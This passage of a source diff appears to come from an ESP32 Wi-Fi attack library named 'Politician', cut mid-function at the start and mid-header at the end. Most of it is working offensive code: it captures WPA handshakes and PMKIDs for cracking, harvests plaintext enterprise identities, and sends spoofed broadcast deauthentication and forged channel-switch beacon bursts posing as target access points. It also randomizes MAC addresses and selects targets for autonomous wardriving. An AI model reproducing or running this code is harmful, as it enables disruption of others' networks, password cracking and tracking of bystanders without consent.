uint16_t eapol_len = len - EAPOL_LLC_SIZE;
|
||||
|
||||
if (eapol_len >= 4) {
|
||||
if (eapol[1] == 0x00 && _identityCb != nullptr) {
|
||||
// Decoupled 802.1X Enterprise Identity Interception
|
||||
_parseEapIdentity(bssid, sta, eapol, eapol_len, rssi);
|
||||
} else if (eapol[1] == 0x03) {
|
||||
// Standard WPA2/WPA3 EAPOL-Key Handshake Layer
|
||||
_parseEapol(bssid, sta, eapol, eapol_len, rssi);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool Politician::_parseEapol(const uint8_t *bssid, const uint8_t *sta,
|
||||
const uint8_t *eapol, uint16_t len, int8_t rssi) {
|
||||
if (_isCaptured(bssid)) return false;
|
||||
if (len < 4 || eapol[1] != 0x03) return false;
|
||||
|
||||
const uint8_t *key = eapol + 4;
|
||||
uint16_t key_len = len - 4;
|
||||
if (key_len < EAPOL_KEY_DATA_LEN + 2) return false;
|
||||
|
||||
uint16_t key_info = ((uint16_t)key[EAPOL_KEY_INFO] << 8) | key[EAPOL_KEY_INFO + 1];
|
||||
bool is_pairwise = (key_info & KEYINFO_PAIRWISE) != 0;
|
||||
if (!is_pairwise) return false;
|
||||
|
||||
uint8_t msg = 0;
|
||||
if ( (key_info & KEYINFO_ACK) && !(key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL)) msg = 1;
|
||||
else if (!(key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL) && !(key_info & KEYINFO_SECURE)) msg = 2;
|
||||
else if ((key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && (key_info & KEYINFO_INSTALL)) msg = 3;
|
||||
else if (!(key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL) && (key_info & KEYINFO_SECURE)) msg = 4;
|
||||
|
||||
if (msg == 0) return false;
|
||||
|
||||
_log("[EAPOL] M%d from %02X:%02X:%02X:%02X:%02X:%02X ch=%d rssi=%d\n",
|
||||
msg, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _rxChannel, rssi);
|
||||
|
||||
if (msg == 3 || msg == 4) {
|
||||
for (int i = 0; i < MAX_AP_CACHE; i++) {
|
||||
if (_apCache[i].active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
|
||||
if (!_apCache[i].has_active_clients) {
|
||||
_apCache[i].has_active_clients = true;
|
||||
_log("[Hot] Active client on %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
|
||||
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _apCache[i].ssid);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
Session *sess = _findSession(bssid, sta);
|
||||
if (!sess) sess = _createSession(bssid, sta);
|
||||
if (!sess) return false;
|
||||
|
||||
sess->channel = _rxChannel; sess->rssi = rssi;
|
||||
|
||||
if (msg == 1) {
|
||||
bool isOurFishM1 = (_fishState != FISH_IDLE) && memcmp(bssid, _fishBssid, 6) == 0;
|
||||
if (!isOurFishM1 && !(_attackMask & ATTACK_PASSIVE)) return false;
|
||||
|
||||
if (key_len < EAPOL_KEY_NONCE + 32) return false;
|
||||
memcpy(sess->anonce, key + EAPOL_KEY_NONCE, 32);
|
||||
sess->has_m1 = true;
|
||||
|
||||
if (_hopping && !_m1Locked) {
|
||||
_probeLocked = false; _m1Locked = true;
|
||||
_m1LockEndMs = millis() + _cfg.m1_lock_ms;
|
||||
}
|
||||
if (_m1Locked && memcmp(sta, _ownStaMac, 6) != 0) _m1LockEndMs = millis() + _cfg.m1_lock_ms;
|
||||
|
||||
uint16_t kdata_len = ((uint16_t)key[EAPOL_KEY_DATA_LEN] << 8) | key[EAPOL_KEY_DATA_LEN + 1];
|
||||
if (kdata_len >= 18 && key_len >= EAPOL_KEY_DATA + kdata_len) {
|
||||
const uint8_t *kdata = key + EAPOL_KEY_DATA;
|
||||
for (uint16_t i = 0; i + 22 <= kdata_len; i++) {
|
||||
if (kdata[i] == 0xDD && kdata[i+2] == 0x00 && kdata[i+3] == 0x0F && kdata[i+4] == 0xAC && kdata[i+5] == 0x04) {
|
||||
HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
|
||||
rec.type = CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
|
||||
memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
|
||||
memcpy(rec.ssid, sess->ssid, sizeof(sess->ssid)); rec.ssid_len = sess->ssid_len;
|
||||
memcpy(rec.pmkid, kdata + i + 6, 16);
|
||||
rec.message_pair = 0x00;
|
||||
format::ValidationResult validation = format::validateHandshakeRecord(rec);
|
||||
if (validation != format::ValidationResult::VALID) {
|
||||
_log("[PMKID] Rejected: %s\n", format::validationReason(validation));
|
||||
break;
|
||||
}
|
||||
_stats.pmkid_found++; _stats.captures++;
|
||||
_log("[PMKID] Found for %02X:%02X:%02X:%02X:%02X:%02X\n",
|
||||
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
|
||||
_markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
|
||||
if (_eapolCb) _eapolCb(rec);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (msg == 2) {
|
||||
if (memcmp(sta, _ownStaMac, 6) == 0) return false;
|
||||
if (key_len < EAPOL_KEY_MIC + 16) return false;
|
||||
memcpy(sess->mic, key + EAPOL_KEY_MIC, 16);
|
||||
uint16_t store_len = (len < 256) ? len : 256;
|
||||
memcpy(sess->eapol_m2, eapol, store_len); sess->eapol_m2_len = store_len;
|
||||
if (store_len >= 4 + EAPOL_KEY_MIC + 16) memset(sess->eapol_m2 + 4 + EAPOL_KEY_MIC, 0, 16);
|
||||
|
||||
bool is_new_m2 = !sess->has_m2;
|
||||
sess->has_m2 = true;
|
||||
|
||||
if (sess->has_m1) {
|
||||
HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
|
||||
rec.type = (_fishState == FISH_CSA_WAIT) ? CAP_EAPOL_CSA : CAP_EAPOL;
|
||||
rec.channel = sess->channel; rec.rssi = sess->rssi;
|
||||
memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
|
||||
rec.ssid_len = sess->ssid_len; memcpy(rec.anonce, sess->anonce, 32);
|
||||
memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_m2, sess->eapol_m2_len);
|
||||
rec.eapol_m2_len = sess->eapol_m2_len; rec.has_anonce = true; rec.has_mic = true;
|
||||
rec.message_pair = 0x00;
|
||||
format::ValidationResult validation = format::validateHandshakeRecord(rec);
|
||||
if (validation != format::ValidationResult::VALID) {
|
||||
_log("[EAPOL] Rejected: %s\n", format::validationReason(validation));
|
||||
return false;
|
||||
}
|
||||
_log("[EAPOL] Complete M1+M2 for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
|
||||
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
|
||||
_stats.captures++; _m1Locked = false;
|
||||
_markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
|
||||
if (_eapolCb) _eapolCb(rec);
|
||||
sess->active = false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void Politician::_parseEapIdentity(const uint8_t *bssid, const uint8_t *sta,
|
||||
const uint8_t *eapol, uint16_t len, int8_t rssi) {
|
||||
// EAP Header starts at eapol+4. Minimum needed: Code(1), Id(1), Len(2), Type(1)
|
||||
if (len < 9) return;
|
||||
|
||||
// EAP Code Check (We want 2 = Response)
|
||||
if (eapol[4] != 0x02) return;
|
||||
|
||||
// EAP Type Check (We want 1 = Identity)
|
||||
if (eapol[8] != 0x01) return;
|
||||
|
||||
uint16_t eap_len = ((uint16_t)eapol[6] << 8) | eapol[7];
|
||||
if (eap_len < 5) return;
|
||||
|
||||
// The plaintext Identity string is defined as everything after the Type byte.
|
||||
uint16_t id_len = eap_len - 5;
|
||||
|
||||
// Safety boundary check
|
||||
if (9 + id_len > len) return;
|
||||
|
||||
EapIdentityRecord rec;
|
||||
memset(&rec, 0, sizeof(rec));
|
||||
memcpy(rec.bssid, bssid, 6);
|
||||
memcpy(rec.client, sta, 6);
|
||||
rec.channel = _rxChannel;
|
||||
rec.rssi = rssi;
|
||||
|
||||
uint16_t copy_len = (id_len < 64) ? id_len : 64;
|
||||
memcpy(rec.identity, eapol + 9, copy_len);
|
||||
rec.identity[copy_len] = '\0';
|
||||
|
||||
_log("[Enterprise] Harvested Identity '%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
|
||||
rec.identity, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
|
||||
|
||||
_identityCb(rec);
|
||||
}
|
||||
|
||||
void Politician::_parseSsid(const uint8_t *ie, uint16_t ie_len, char *out, uint8_t &out_len) {
|
||||
out[0] = '\0'; out_len = 0; uint16_t pos = 0;
|
||||
while (pos + 2 <= ie_len) {
|
||||
uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
|
||||
if (pos + 2 + len > ie_len) break;
|
||||
if (tag == 0 && len > 0 && len <= 32) {
|
||||
memcpy(out, ie + pos + 2, len); out[len] = '\0'; out_len = len; return;
|
||||
}
|
||||
pos += 2 + len;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t Politician::_classifyEnc(const uint8_t *ie, uint16_t ie_len) {
|
||||
bool has_rsn = false, has_wpa = false, is_enterprise = false;
|
||||
uint16_t pos = 0;
|
||||
while (pos + 2 <= ie_len) {
|
||||
uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
|
||||
if (pos + 2 + len > ie_len) break;
|
||||
|
||||
if (tag == 48) {
|
||||
has_rsn = true;
|
||||
// Parse robust security network AKM
|
||||
// Format: Version(2) + GroupCipher(4) + PairwiseCipherCount(2) + PairwiseCipherList(...) + AKMCount(2) + AKMList(...)
|
||||
if (len >= 18) { // Minimum length to reach AKM count assuming 1 pairwise cipher
|
||||
uint16_t pw_count = (ie[pos+8] | (ie[pos+9] << 8));
|
||||
uint16_t akm_offset = pos + 10 + (pw_count * 4);
|
||||
|
||||
if (akm_offset + 2 <= pos + 2 + len) {
|
||||
uint16_t akm_count = (ie[akm_offset] | (ie[akm_offset + 1] << 8));
|
||||
uint16_t list_offset = akm_offset + 2;
|
||||
|
||||
for (int i=0; i < akm_count; i++) {
|
||||
if (list_offset + 4 > pos + 2 + len) break;
|
||||
// OUI: 00-0F-AC, Suite Type: 1 (802.1X)
|
||||
if (ie[list_offset] == 0x00 && ie[list_offset+1] == 0x0F && ie[list_offset+2] == 0xAC && ie[list_offset+3] == 0x01) {
|
||||
is_enterprise = true;
|
||||
}
|
||||
list_offset += 4;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (tag == 221 && len >= 4 && ie[pos+2]==0x00 && ie[pos+3]==0x50 && ie[pos+4]==0xF2 && ie[pos+5]==0x01) has_wpa = true;
|
||||
pos += 2 + len;
|
||||
}
|
||||
|
||||
if (is_enterprise) return 4;
|
||||
return has_rsn ? 3 : (has_wpa ? 2 : 0);
|
||||
}
|
||||
|
||||
Politician::Session* Politician::_findSession(const uint8_t *bssid, const uint8_t *sta) {
|
||||
for (int i = 0; i < MAX_SESSIONS; i++) {
|
||||
if (_sessions[i].active && memcmp(_sessions[i].bssid, bssid, 6) == 0 && memcmp(_sessions[i].sta, sta, 6) == 0) return &_sessions[i];
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
Politician::Session* Politician::_createSession(const uint8_t *bssid, const uint8_t *sta) {
|
||||
for (int i = 0; i < MAX_SESSIONS; i++) {
|
||||
if (!_sessions[i].active) {
|
||||
memset(&_sessions[i], 0, sizeof(Session));
|
||||
memcpy(_sessions[i].bssid, bssid, 6); memcpy(_sessions[i].sta, sta, 6);
|
||||
_sessions[i].active = true; _sessions[i].created_ms = millis();
|
||||
_lookupSsid(bssid, _sessions[i].ssid, _sessions[i].ssid_len);
|
||||
return &_sessions[i];
|
||||
}
|
||||
}
|
||||
uint32_t oldest_ms = UINT32_MAX; int oldest_idx = 0;
|
||||
for (int i = 0; i < MAX_SESSIONS; i++) {
|
||||
if (_sessions[i].created_ms < oldest_ms) { oldest_ms = _sessions[i].created_ms; oldest_idx = i; }
|
||||
}
|
||||
memset(&_sessions[oldest_idx], 0, sizeof(Session));
|
||||
memcpy(_sessions[oldest_idx].bssid, bssid, 6); memcpy(_sessions[oldest_idx].sta, sta, 6);
|
||||
_sessions[oldest_idx].active = true; _sessions[oldest_idx].created_ms = millis();
|
||||
_lookupSsid(bssid, _sessions[oldest_idx].ssid, _sessions[oldest_idx].ssid_len);
|
||||
return &_sessions[oldest_idx];
|
||||
}
|
||||
|
||||
void Politician::_cacheAp(const uint8_t *bssid, const char *ssid, uint8_t ssid_len,
|
||||
uint8_t enc, uint8_t channel, bool is_wpa3_only) {
|
||||
for (int i = 0; i < MAX_AP_CACHE; i++) {
|
||||
if (_apCache[i].active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
|
||||
memcpy(_apCache[i].ssid, ssid, ssid_len + 1); _apCache[i].ssid_len = ssid_len;
|
||||
_apCache[i].enc = enc; _apCache[i].channel = channel;
|
||||
_apCache[i].is_wpa3_only = is_wpa3_only;
|
||||
return;
|
||||
}
|
||||
}
|
||||
int slot = _apCacheCount % MAX_AP_CACHE;
|
||||
_apCache[slot].active = true; _apCache[slot].last_probe_ms = 0;
|
||||
_apCache[slot].last_stimulate_ms = 0;
|
||||
memcpy(_apCache[slot].bssid, bssid, 6); memcpy(_apCache[slot].ssid, ssid, ssid_len + 1);
|
||||
_apCache[slot].ssid_len = ssid_len; _apCache[slot].enc = enc; _apCache[slot].channel = channel;
|
||||
_apCache[slot].is_wpa3_only = is_wpa3_only;
|
||||
_apCacheCount++;
|
||||
}
|
||||
|
||||
bool Politician::_lookupSsid(const uint8_t *bssid, char *out_ssid, uint8_t &out_len) {
|
||||
for (int i = 0; i < MAX_AP_CACHE; i++) {
|
||||
if (_apCache[i].active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
|
||||
memcpy(out_ssid, _apCache[i].ssid, _apCache[i].ssid_len + 1); out_len = _apCache[i].ssid_len; return true;
|
||||
}
|
||||
}
|
||||
out_ssid[0] = '\0'; out_len = 0; return false;
|
||||
}
|
||||
|
||||
bool Politician::_isCaptured(const uint8_t *bssid) const {
|
||||
for (int i = 0; i < _ignoreCount; i++) if (memcmp(_ignoreList[i], bssid, 6) == 0) return true;
|
||||
for (int i = 0; i < MAX_CAPTURED; i++) if (_captured[i].active && memcmp(_captured[i].bssid, bssid, 6) == 0) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
void Politician::_sendDeauthBurst() {
|
||||
uint8_t deauth[26] = {
|
||||
0xC0, 0x00, 0x00, 0x00, // Frame Control (Deauth), Duration
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // DA (Broadcast to all clients)
|
||||
_fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5], // SA (Spoofed AP)
|
||||
_fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5], // BSSID (Spoofed AP)
|
||||
0x00, 0x00, // Seq
|
||||
0x07, 0x00 // Reason 7: Class 3 frame received from nonassociated STA
|
||||
};
|
||||
|
||||
for (int i = 0; i < _cfg.deauth_burst_count; i++) {
|
||||
deauth[22] = (i << 4) & 0xFF; // Increment sequence number roughly
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
|
||||
delay(2);
|
||||
}
|
||||
_log("[Deauth] Sent Reason 7 burst on ch%d\n", _fishChannel);
|
||||
}
|
||||
|
||||
void Politician::_markCapturedSsidGroup(const char *ssid, uint8_t ssid_len) {
|
||||
if (ssid_len == 0) return;
|
||||
for (int i = 0; i < MAX_AP_CACHE; i++) {
|
||||
if (!_apCache[i].active || _apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
|
||||
if (!_isCaptured(_apCache[i].bssid)) _markCaptured(_apCache[i].bssid);
|
||||
}
|
||||
}
|
||||
|
||||
void Politician::_markCaptured(const uint8_t *bssid) {
|
||||
if (_isCaptured(bssid)) return;
|
||||
int slot = _capturedCount % MAX_CAPTURED;
|
||||
_captured[slot].active = true; memcpy(_captured[slot].bssid, bssid, 6); _capturedCount++;
|
||||
_log("[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
|
||||
}
|
||||
|
||||
void Politician::_expireSessions(uint32_t timeoutMs) {
|
||||
uint32_t now = millis();
|
||||
for (int i = 0; i < MAX_SESSIONS; i++) if (_sessions[i].active && (now - _sessions[i].created_ms) > timeoutMs) _sessions[i].active = false;
|
||||
}
|
||||
|
||||
void Politician::_randomizeMac() {
|
||||
uint8_t mac[6]; uint32_t r1 = esp_random(), r2 = esp_random();
|
||||
mac[0] = (uint8_t)((r1 & 0xFE) | 0x02); mac[1] = (uint8_t)(r1 >> 8); mac[2] = (uint8_t)(r1 >> 16);
|
||||
mac[3] = (uint8_t)(r2); mac[4] = (uint8_t)(r2 >> 8); mac[5] = (uint8_t)(r2 >> 16);
|
||||
esp_wifi_set_mac(WIFI_IF_STA, mac); memcpy(_ownStaMac, mac, 6);
|
||||
_log("[Fish] MAC → %02X:%02X:%02X:%02X:%02X:%02X\n", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
|
||||
void Politician::_startFishing(const uint8_t *bssid, const char *ssid, uint8_t ssid_len, uint8_t channel) {
|
||||
if (_fishState != FISH_IDLE) return;
|
||||
_randomizeMac(); esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); _channel = channel;
|
||||
wifi_config_t sta_cfg = {}; memcpy(sta_cfg.sta.ssid, ssid, ssid_len);
|
||||
memcpy(sta_cfg.sta.password, "WiFighter00", 11); sta_cfg.sta.bssid_set = true; memcpy(sta_cfg.sta.bssid, bssid, 6);
|
||||
esp_wifi_set_config(WIFI_IF_STA, &sta_cfg); esp_wifi_connect();
|
||||
memcpy(_fishBssid, bssid, 6); memcpy(_fishSsid, ssid, ssid_len); _fishSsid[ssid_len] = '\0';
|
||||
_fishSsidLen = ssid_len; _fishChannel = channel; _fishStartMs = millis();
|
||||
_fishState = FISH_CONNECTING; _fishRetry = 0; _fishAuthLogged = false; _fishAssocLogged = false;
|
||||
_probeLocked = true; _probeLockEndMs = millis() + _cfg.fish_timeout_ms;
|
||||
_log("[Fish] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ssid_len, ssid);
|
||||
}
|
||||
|
||||
void Politician::_sendCsaBurst() {
|
||||
uint8_t frame[100]; int p = 0;
|
||||
frame[p++] = 0x80; frame[p++] = 0x00; frame[p++] = 0x00; frame[p++] = 0x00;
|
||||
for (int i = 0; i < 6; i++) frame[p++] = 0xFF; memcpy(frame + p, _fishBssid, 6); p += 6; memcpy(frame + p, _fishBssid, 6); p += 6;
|
||||
frame[p++] = 0x00; frame[p++] = 0x00; memset(frame + p, 0, 8); p += 8;
|
||||
frame[p++] = 0x64; frame[p++] = 0x00; frame[p++] = 0x31; frame[p++] = 0x04;
|
||||
frame[p++] = 0x00; frame[p++] = _fishSsidLen; memcpy(frame + p, _fishSsid, _fishSsidLen); p += _fishSsidLen;
|
||||
frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = _fishChannel;
|
||||
frame[p++] = 0x25; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = 0x0E; frame[p++] = 0x01;
|
||||
for (int i = 0; i < _cfg.csa_beacon_count; i++) { esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false); delay(15); }
|
||||
_log("[CSA] Sent burst on ch%d\n", _fishChannel);
|
||||
}
|
||||
|
||||
void Politician::_processFishing() {
|
||||
if (_fishState == FISH_IDLE) return;
|
||||
if (_fishState == FISH_CSA_WAIT) {
|
||||
if (_isCaptured(_fishBssid)) { _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[CSA] Captured!\n"); return; }
|
||||
if (!_csaSecondBurstSent && (millis() - _fishStartMs > 2000)) {
|
||||
_csaSecondBurstSent = true;
|
||||
if (_attackMask & ATTACK_CSA) _sendCsaBurst();
|
||||
if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst();
|
||||
_log("[CSA] Burst 2\n");
|
||||
}
|
||||
if (millis() >= _probeLockEndMs) { _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[CSA] Wait expired\n"); }
|
||||
return;
|
||||
}
|
||||
if (_isCaptured(_fishBssid)) { esp_wifi_disconnect(); _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[Fish] Captured!\n"); return; }
|
||||
if (millis() >= _probeLockEndMs) {
|
||||
esp_wifi_disconnect();
|
||||
if (_fishRetry < _cfg.fish_max_retries) {
|
||||
_fishRetry++; _log("[Fish] Timeout retry %d\n", _fishRetry); _randomizeMac();
|
||||
_probeLockEndMs = millis() + _cfg.fish_timeout_ms; _fishAuthLogged = false; _fishAssocLogged = false; esp_wifi_connect(); return;
|
||||
}
|
||||
if (_attackMask & ATTACK_CSA) {
|
||||
_log("[Attack] Switching to CSA\n"); esp_wifi_set_channel(_fishChannel, WIFI_SECOND_CHAN_NONE);
|
||||
_sendCsaBurst(); _fishState = FISH_CSA_WAIT; _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms; _csaSecondBurstSent = false;
|
||||
} else {
|
||||
_fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[Fish] Exhausted\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} // namespace politician
|
||||
356
lib/Politician/src/Politician.h
Normal file
356
lib/Politician/src/Politician.h
Normal file
@@ -0,0 +1,356 @@
|
||||
#pragma once
|
||||
#include <Arduino.h>
|
||||
#include <esp_wifi.h>
|
||||
#include <esp_wifi_types.h>
|
||||
#include "PoliticianTypes.h"
|
||||
|
||||
namespace politician {
|
||||
|
||||
#ifndef POLITICIAN_MAX_AP_CACHE
|
||||
#define POLITICIAN_MAX_AP_CACHE 48
|
||||
#endif
|
||||
|
||||
#ifndef POLITICIAN_MAX_SESSIONS
|
||||
#define POLITICIAN_MAX_SESSIONS 8
|
||||
#endif
|
||||
|
||||
#ifndef POLITICIAN_MAX_CAPTURED
|
||||
#define POLITICIAN_MAX_CAPTURED 64
|
||||
#endif
|
||||
|
||||
#ifndef POLITICIAN_MAX_CHANNELS
|
||||
#define POLITICIAN_MAX_CHANNELS 50
|
||||
#endif
|
||||
|
||||
// ─── 802.11 Frame Structures ──────────────────────────────────────────────────
|
||||
|
||||
typedef struct {
|
||||
uint16_t frame_ctrl;
|
||||
uint16_t duration;
|
||||
uint8_t addr1[6];
|
||||
uint8_t addr2[6];
|
||||
uint8_t addr3[6];
|
||||
uint16_t seq_ctrl;
|
||||
} __attribute__((packed)) ieee80211_hdr_t;
|
||||
|
||||
typedef struct {
|
||||
ieee80211_hdr_t hdr;
|
||||
uint8_t payload[0];
|
||||
} __attribute__((packed)) ieee80211_frame_t;
|
||||
|
||||
// ─── Frame Control Masks ──────────────────────────────────────────────────────
|
||||
#define FC_TYPE_MASK 0x000C
|
||||
#define FC_SUBTYPE_MASK 0x00F0
|
||||
#define FC_TODS_MASK 0x0100
|
||||
#define FC_FROMDS_MASK 0x0200
|
||||
#define FC_TYPE_MGMT 0x0000
|
||||
#define FC_TYPE_CTRL 0x0004
|
||||
#define FC_TYPE_DATA 0x0008
|
||||
#define FC_ORDER_MASK 0x8000
|
||||
|
||||
#define MGMT_SUB_ASSOC_REQ 0x00
|
||||
#define MGMT_SUB_ASSOC_RESP 0x10
|
||||
#define MGMT_SUB_PROBE_REQ 0x40
|
||||
#define MGMT_SUB_PROBE_RESP 0x50
|
||||
#define MGMT_SUB_BEACON 0x80
|
||||
#define MGMT_SUB_DEAUTH 0xC0
|
||||
|
||||
// ─── EAPOL ────────────────────────────────────────────────────────────────────
|
||||
#define EAPOL_LLC_OFFSET 0
|
||||
#define EAPOL_ETHERTYPE_HI 0x88
|
||||
#define EAPOL_ETHERTYPE_LO 0x8E
|
||||
#define EAPOL_LLC_SIZE 8
|
||||
#define EAPOL_MIN_FRAME_LEN (EAPOL_LLC_SIZE + 4)
|
||||
|
||||
#define EAPOL_KEY_DESC_TYPE 0
|
||||
#define EAPOL_KEY_INFO 1
|
||||
#define EAPOL_KEY_LEN 3
|
||||
#define EAPOL_REPLAY_COUNTER 5
|
||||
#define EAPOL_KEY_NONCE 13
|
||||
#define EAPOL_KEY_IV 45
|
||||
#define EAPOL_KEY_RSC 61
|
||||
#define EAPOL_KEY_ID 69
|
||||
#define EAPOL_KEY_MIC 77
|
||||
#define EAPOL_KEY_DATA_LEN 93
|
||||
#define EAPOL_KEY_DATA 95
|
||||
|
||||
#define KEYINFO_TYPE_MASK 0x0007
|
||||
#define KEYINFO_PAIRWISE 0x0008
|
||||
#define KEYINFO_ACK 0x0080
|
||||
#define KEYINFO_MIC 0x0100
|
||||
#define KEYINFO_SECURE 0x0200
|
||||
#define KEYINFO_INSTALL 0x0040
|
||||
|
||||
// ─── Politician (The Handshaker) ──────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* @brief The core WiFi handshake capturing engine.
|
||||
*/
|
||||
class Politician {
|
||||
public:
|
||||
Politician();
|
||||
|
||||
/**
|
||||
* @brief Initializes the WiFi driver in promiscuous mode.
|
||||
* @param cfg Optional configuration struct.
|
||||
* @return OK on success, or an error code.
|
||||
*/
|
||||
Error begin(const Config &cfg = Config());
|
||||
|
||||
/**
|
||||
* @brief Sets a custom logging callback to intercept library output.
|
||||
*/
|
||||
void setLogger(LogCb cb) { _logCb = cb; }
|
||||
|
||||
/**
|
||||
* @brief Manually adds a BSSID to the "already captured" list to skip it.
|
||||
*/
|
||||
void markCaptured(const uint8_t *bssid);
|
||||
|
||||
/**
|
||||
* @brief Clears the captured BSSID list.
|
||||
*/
|
||||
void clearCapturedList();
|
||||
|
||||
/**
|
||||
* @brief Sets a list of BSSIDs that should always be ignored by the engine.
|
||||
*/
|
||||
void setIgnoreList(const uint8_t (*bssids)[6], uint8_t count);
|
||||
|
||||
/**
|
||||
* @brief Enables or disables frame processing.
|
||||
*/
|
||||
void setActive(bool active);
|
||||
|
||||
/**
|
||||
* @brief Manually sets the WiFi radio to a specific channel.
|
||||
* @param ch Channel number (2.4GHz: 1-14, 5GHz: 36-165)
|
||||
* @return OK on success, ERR_INVALID_CH if ch is invalid.
|
||||
*/
|
||||
Error setChannel(uint8_t ch);
|
||||
|
||||
/**
|
||||
* @brief Starts autonomous channel hopping.
|
||||
* @param dwellMs Time in milliseconds to stay on each channel (0 = use config).
|
||||
*/
|
||||
void startHopping(uint16_t dwellMs = 0);
|
||||
|
||||
/**
|
||||
* @brief Stops autonomous channel hopping and goes idle.
|
||||
*/
|
||||
void stopHopping();
|
||||
|
||||
/**
|
||||
* @brief Stops hopping and locks the radio to a specific channel.
|
||||
* @return OK on success, or an error code.
|
||||
*/
|
||||
Error lockChannel(uint8_t ch);
|
||||
|
||||
/**
|
||||
* @brief Restricts hopping to a specific list of channels.
|
||||
* @param channels Array of channel numbers (2.4GHz: 1-14, 5GHz: 36-165)
|
||||
* @param count Number of channels in array
|
||||
*/
|
||||
void setChannelList(const uint8_t *channels, uint8_t count);
|
||||
|
||||
/**
|
||||
* @brief Main worker method. Must be called frequently from loop().
|
||||
*/
|
||||
void tick();
|
||||
|
||||
/**
|
||||
* @brief Configures which attack techniques are enabled.
|
||||
*/
|
||||
void setAttackMask(uint8_t mask);
|
||||
|
||||
/**
|
||||
* @brief Focuses the engine on a single BSSID.
|
||||
* @return OK on success, ERR_ALREADY_CAPTURED if BSSID is on the captured/ignore list.
|
||||
*/
|
||||
Error setTarget(const uint8_t *bssid, uint8_t channel);
|
||||
|
||||
/**
|
||||
* @brief Clears the specific target and resumes autonomous wardriving.
|
||||
*/
|
||||
void clearTarget();
|
||||
|
||||
/** @return True if currently focusing on a specific target BSSID. */
|
||||
bool hasTarget() const { return _hasTarget; }
|
||||
|
||||
/** @return The current operating channel. */
|
||||
uint8_t getChannel() const { return _channel; }
|
||||
|
||||
/** @return True if the engine is currently processing frames. */
|
||||
bool isActive() const { return _active; }
|
||||
|
||||
/** @return Signal strength (RSSI) of the last received frame. */
|
||||
int8_t getLastRssi() const { return _lastRssi; }
|
||||
|
||||
/** @return Reference to the internal statistics counter. */
|
||||
Stats& getStats() { return _stats; }
|
||||
|
||||
/** @return Reference to the internal configuration struct for runtime mutations. */
|
||||
Config& getConfig() { return _cfg; }
|
||||
|
||||
using EapolCb = void (*)(const HandshakeRecord &rec);
|
||||
using ApFoundCb = void (*)(const ApRecord &ap);
|
||||
using FilterCb = bool (*)(const ApRecord &ap);
|
||||
using PacketCb = void (*)(const uint8_t *payload, uint16_t len, int8_t rssi, uint32_t ts_usec);
|
||||
using IdentityCb = void (*)(const EapIdentityRecord &rec);
|
||||
|
||||
/**
|
||||
* @brief Sets the callback for when a handshake (EAPOL or PMKID) is captured.
|
||||
*/
|
||||
void setEapolCallback(EapolCb cb) { _eapolCb = cb; }
|
||||
|
||||
/**
|
||||
* @brief Sets the callback for when a new Access Point is discovered.
|
||||
*/
|
||||
